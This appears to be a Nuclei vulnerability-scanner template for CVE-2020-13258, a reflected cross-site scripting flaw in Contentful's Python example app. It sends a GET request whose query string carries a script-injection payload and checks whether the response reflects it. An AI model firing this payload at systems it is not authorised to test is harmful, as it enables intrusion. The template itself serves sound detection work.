43 lines
1.1 KiB
YAML
43 lines
1.1 KiB
YAML
id: CVE-2020-13258
|
|
|
|
info:
|
|
name: Contentful <=2020-05-21 - Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: medium
|
|
description: |
|
|
Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
|
|
reference:
|
|
- https://github.com/contentful/the-example-app.py/issues/44
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13258
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-13258
|
|
cwe-id: CWE-79
|
|
tags: cve,cve2020,contentful,xss
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "{'api': '"
|
|
- "</script><script>alert(document.domain)</script>',"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/09/14
|